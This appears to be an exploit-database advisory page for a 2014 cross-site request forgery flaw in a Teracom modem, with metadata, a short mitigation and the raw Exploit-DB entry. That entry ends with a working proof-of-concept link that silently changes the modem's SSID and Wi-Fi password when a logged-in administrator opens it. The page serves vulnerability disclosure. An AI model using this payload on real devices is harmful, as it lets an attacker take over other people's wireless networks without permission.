Teracom Modem CSRF Vulnerability

vendor:

T2-B-Gawv1.4U10Y-BI

by:

Rakesh S

8,8

CVSS

HIGH

CSRF

352

CWE

Product Name: T2-B-Gawv1.4U10Y-BI

Affected Version From: T2-B-Gawv1.4U10Y-BI

Affected Version To: T2-B-Gawv1.4U10Y-BI

Patch Exists: No

Related CWE: N/A

CPE: h:teracom:t2-b-gawv1.4u10y-bi

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

Teracom Modem CSRF Vulnerability

The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage to change SSID and its password.

Mitigation:

Ensure that the application validates the origin of the HTTP request.

Source

Exploit-DB raw data:

# Exploit Title: Teracom Modem CSRF Vulnerability
# Date: 20-04-2014
# Author: Rakesh S
# Software Link: http://www.teracom.in/
# Version:  T2-B-Gawv1.4U10Y-BI

The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage to change SSID and its password.
 
The exploitation example below changes password for the SSID:
 
 
<a href="http://[HOST]/webconfig/wlan/country.html/country?context=&wlanprofile=MIXED_G_WIFI&wlanstatus=on&country=INI&txpower=1&wlanmultitouni=on&TxRate=Automatic&chanselect=automatic&channel=8&essid=SSID&hidessid=off&security=wpa2&encryptionselect=tkip&authmethodselect=psk&wpapp=ChangePassword&pmkcaching=on&confirm=Confirm" target="myIframe">Submit</a>